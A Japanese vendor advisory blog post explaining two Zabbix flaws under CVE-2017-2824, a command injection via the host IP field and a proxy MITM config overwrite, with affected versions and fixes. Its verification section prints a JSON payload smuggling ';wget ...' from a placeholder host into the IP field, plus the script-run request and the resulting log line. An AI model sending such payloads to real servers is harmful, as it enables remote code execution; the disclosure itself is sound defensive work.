採用情報

お問い合わせ

BLOG

Zabbix テック・ラウンジ

2017 年 05 月 29 日

Zabbixの脆弱性CVE-2017-2824([ZBX-12075][ZBX-12076])の調査と解説

本ドキュメントでは、Zabbix-3.0.9、zabbix-2.2.18 において修正されたいくつかのセキュリティ問題について解説します。

はじめに

本ドキュメントでは、Zabbix-3.0.9、zabbix-2.2.18 において修正された以下のセキュリティ問題についての解説を行います。

https://support.zabbix.com/browse/ZBX-12074
Security vulnerability findings

https://support.zabbix.com/browse/ZBX-12075
ZBX-12075 Bug 1. Zabbix Server Remote Code Execution ( CVSS: 10, SIR: Critical )

https://support.zabbix.com/browse/ZBX-12076
Bug 2. Active Zabbix Proxy MITM Database Overwrite (CVSS 6.8: SIR: High)

上記の問題は Zabbix の脆弱性として、CVE-2017-2824 に登録されています。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-2824

上記の問題を報告した Cisco 社 Web ページ
https://www.talosintelligence.com/reports/TALOS-2017-0325/

[ZBX-12075] の解説

本問題を修正する前の Zabbix の実装では、Zabbix サーバに接続することができる任意のホストから下記のことを行えました。

ホストを新規に登録することができ、そのインターフェイスの「IP アドレス」に任意の文字列を登録する
登録されているスクリプト (※1) を実行する

「IP アドレス」に登録した文字列はマクロ {HOST.CONN} を使用して参照することができます。悪いことに、Zabbix にはデフォルトでマクロ {HOST.CONN} を使用したスクリプトが 3 つ登録されています。

上記のことを組み合わせることにより、下記のようにコマンドインジェクションが可能でした。

悪意的なホストの登録を行う。その「IP アドレス」にはコマンドを実行するための文字列を登録する。
そのホストに対して {HOST.CONN} を使用しているスクリプトを実行することにより、上記のコマンドが実行される。

ZBX-12075 解説記事用の構造図

[ZBX-12075] の影響を受ける環境

使用状況

Zabbix プロキシを経由したネットワークディスカバリ機能、若しくはアクティブチェックを利用したホストの自動登録 (※2) を使用している。かつ、{HOST.CONN} マクロを使用したスクリプト (※1) が登録されている。

対象となる MIRACLE ZBX バージョン :

3.0.x: 3.0.9-2 以下
2.2.x: 2.2.17-1 以下
2.0.x: 2.0.20-1 以下

[ZBX-12075] の対処方法

本問題への対処は下記の何れかとなります。

パッケージのアップデートを行う

本問題への対策を行った MIRACLE ZBX 2.2.17-4 および MIRACLE ZBX 3.0.9-3 をリリースしました。
アクティブテェックによるホストの自動登録において IP アドレス欄に任意の文字列を登録でき、コマンドとして実行できる脆弱性を修正。
この修正は CVE-2017-2824 に関連している脆弱性で MIRACLE ZBX 独自の追加修正です。(2017/06/05)

回避策を実施する

Zabbix プロキシを経由するネットワークディスカバリ機能、及びアクティブチェックを使用したホストの自動登録を使用しない。{HOST.CONN} マクロを使用したマクロを削除する。

※バージョン 3.0.x では暗号化機能を利用することで軽減することができます。

[ZBX-12075] の調査

当社の環境おいて検証を行い、[ZBX-12075] に記載されている方法により、Zabbix サーバに接続できる任意のホストから任意のコマンドを実行することができることを確認しました。
ホストの登録、コマンドの実行には、Zabbix のプロトコルに則り Zabbix トラッパープロセスと通信を行うプログラムを作成して使用しました。

1. ホストの登録

[ZBX-12075] を参考にして、ホストを登録するデータを作成し上記のプログラムを使用してデータの登録を行いました。
使用したデータ :

{
"request":"discovery data",
"host":"zabbix_proxy",
"clock":10,
"data":[{
"clock":10,"drule":4,
"dcheck":21,
"type":12,
"ip":";wget -O /tmp/s http://www.xxx.yyy.zzz/s;#",
"dns":"",
"port":10050,
"key":"zzztest",
"status":0,
"value":"el7<(^_^)>mcp"
}]
}

上記はプロキシを経由してホストの自動登録を行う場合のデータです。"host" フィールドにはプロキシ名を指定する必要があります。攻撃者は何らかの方法でこの値を入手する必要があります。

結果として、IP アドレスの欄にコマンドに該当する文字列が挿入されているホストを登録されました。

・インターフェースの IP アドレスにコマンドが挿入された状況」
Zabbix Web インターフェース : [ 設定 ]->[ ホスト ]

 インタフェースの IP アドレスにコマンドを登録

2. スクリプトの登録

{HOST.CONN} を利用したスクリプトが登録されていることを確認しました。これらのスクリプトは検証目的に登録したものでなく、Zabbix のインストールを行った初期状態において登録されているものです。

・デフォルトで登録されているスクリプト
Zabbix Web インターフェース : [ 管理 ]->[ スクリプト ]

Web インタフェーススクリプト登録

3. スクリプトの実行

登録されているスクリプトを 1. で登録したホストに対して実行しました。

スクリプトの実行は、[ZBX-12075] を参考にして、スクリプトを実行するデータを作成し上記のプログラムを使用してデータの送信することで行いました。

使用したデータ :

{
"request":"command"
"nodeid":0,
"scriptid":"1",
"hostid":"10144"
}

"hostid" フィールドには、スクリプトを実行する対象のホストの hostid を指定する必要があります。攻撃者は何らかの方法でこの値を入手する必要がありますが、[ZBX-12075] に記載されているとおり、総当たり的な方法で解決できると考えます。

スクリプトを実行すると「コマンド」の {HOST.CONN} の箇所が、「IP アドレス」に登録されている文字列 ( コマンド ) に置き換えられ、下記のようにコマンドが実行されました。

zabbix_server.log からの抜粋 :

In zbx_popen() command:'/bin/ping -c 3 ;wget -O /tmp/s http://www.xxx.yyy.zzz/ 2>&1'

[ZBX-12076] の解説

Zabbix プロキシは Zabbix サーバに自身のプロキシの設定データを要求することができます、またホスト名が分かっていれば他の Zabbix プロキシの設定データを要求することもできます。

本問題を修正する前の Zabbix の実装では、Zabbix サーバは Zabbix プロキシからの設定データの要求を受けると、自身のデータベースからデータを収集して Zabbix プロキシに送信します。Zabbix プロキシは Zabbix サーバからデータを受け取ると制限なしに自身のデータベースに適用します。

そのため、攻撃者は Zabbix サーバと Zabbix プロキシの間に入り、設定データに任意のデータを挿入することができれば、Zabbix プロキシはその改竄されたデータを制限なしに適用してしまいます。man in the middle(MITM) の手法により、JSON 形式のデータを挿入することでこのことは実現可能です。

[ZBX-12076] の影響を受ける環境

使用状況

Zabbix プロキシを使用している環境

対象となる MIRACLE ZBX バージョン :

3.0.x: 3.0.9-2 以下
2.2.x: 2.2.17-1 以下
2.0.x: 2.0.20-1 以下

[ ZBX-12076] の対処方法

本問題への対処は下記の何れかとなります。

パッケージのアップデートを行う

次期リリースの本問題への対策を行った MIRACLE ZBX 2.2.17-4 および MIRACLE ZBX 3.0.9-3 をリリースしました。(2017/06/05)

Zabbix プロキシを使用しない

※バージョン 3.0.x では暗号化機能を利用することで軽減することができます。

参考情報

※1 スクリプト
https://www.zabbix.com/documentation/2.2/jp/manual/web_interface/frontend_sections/administration/scripts

※2 ホストの自動登録

ネットワークディスカバリ
https://www.zabbix.com/documentation/2.2/jp/manual/discovery/network_discovery

アクティブエージェントの自動登録
https://www.zabbix.com/documentation/2.2/jp/manual/discovery/auto_registration

※3 MIRACLE ZBX のアップデート情報
https://www.miraclelinux.com/support/miracle-zbx30/update-list
https://www.miraclelinux.com/support/miracle-zbx22/update-list
https://www.miraclelinux.com/support/miracle-zbx20/update-list

関連記事

MIRACLE ZBX 3.0 の暗号化機能を使ってみよう

注意事項

  • 本ドキュメントの内容は、予告なしに変更される場合があります。
  • 本ドキュメントは、限られた評価環境における検証結果をもとに作成しており、全ての環境での動作を保証するものではありません。
  • 本ドキュメントの内容に基づき、導入、設定、運用を行なったことにより損害が生じた場合でも、当社はその損害についての責任を負いません。あくまでお客さまのご判断にてご使用ください。

更新履歴

2017 年 5 月 29 日 新規作成
2017年6月 6日 対処方法の記載を変更

CentOS 7 延長サポートサービス
デジタルトランスフォーメーションのための電子認証基盤 iTrust
SSL/TLS サーバー証明書 SureServer Prime